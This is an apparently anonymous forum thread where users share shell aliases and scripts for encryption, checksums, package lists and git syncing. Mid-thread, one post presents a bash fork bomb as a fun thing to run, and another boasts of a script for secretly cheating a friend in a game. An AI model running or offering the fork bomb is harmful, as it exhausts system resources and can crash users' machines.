What are some useful shell scripts you use?
What are some useful shell scripts you use?
Mahabharata, it's bretty good.
modulecmd is pretty useful for switching through environments. I wrote a little script that will take me to the top of a git repo, or to the encompassing repo if I'm already at the top. I use a lot of submodules...
alias cl='clear'
I actually use it
alias xxx='clear'
Why would you use different keys?
> Not using Ctrl-L
Noobs
alias cl='printf "\033c"'
$ cl
The program 'cl' is currently not installed. You can install it by typing:
sudo apt install cl-launch
>not \ec
Fucking noobs
>not
Not Not.
Fucking plebs.
weekly(1)
Also whatever I write for myself.
Mah boi
neofetch :^)
I used to have a script that forced my intel 4700 QM to jump to 800MHz, but since last september with the new kernel back then, everything stopped working on the CPU management side.
I have a script that makes a keybind press E very quickly. It helps me beat my friend in a co-op game. So far he hasn't noticed I am using the power of scripting to favor my outcome in the game.
Back 2 reddit
can you send the script it seems very useful in alot of ways
What is cooler screenfetch or neofetch?
Some of my autism:
alias gpg-symmetric="gpg -c --s2k-cipher-algo AES256 --s2k-digest-algo SHA512 --s2k-count 65536"
alias luks2Encrypt="sudo cryptsetup -v -c aes-xts-plain64 -s 512 -h sha512 --use-random -i 5000 --type luks2 luksFormat"
SHA sums for every file recursive:
sha512sum-folder() { find "$@" -type f -exec sha512sum "{}" + ;}
alias lzma2xz-ultra="xz --lzma2=preset=9e,dict=256M,pb=0,lc=4 -vv -T 0"
alias remove-orphans="yay -Rns \$(yay -Qttdq)"
alias grubmc="sudo grub-mkconfig -o /boot/grub/grub.cfg"
Create a package list script which cant be executed (useful if I want to install all my packages on a clean system):
alias pkglist="echo -e '#!/bin/bash\n' > ~/scripts/package-list.sh && \
echo -e 'LIST=\$(sed -n '\''5,\$p'\'' ~/scripts/package-list.sh) && \
yay -S \$LIST'\ >> ~/scripts/package-list.sh && echo -e 'exit \$?' >> ~/scripts/package-list.sh && \
yay -Qqe >> ~/scripts/package-list.sh && chmod +x ~/scripts/package-list.sh"
:(){ : | : &};:
Had lots of fun running this.
>>>/9gag/
I can't remember where I got this...
# Git upstream branch syncer.
# Usage: gsync master (checks out master, pull upstream, push origin).
function gsync() {
if [[ ! "$1" ]] ; then
echo "You must supply a branch."
return 0
fi
BRANCHES=$(git branch --list $1)
if [ ! "$BRANCHES" ] ; then
echo "Branch $1 does not exist."
return 0
fi
git checkout "$1" && \
git pull upstream "$1" && \
git push origin "$1"
}
ur mom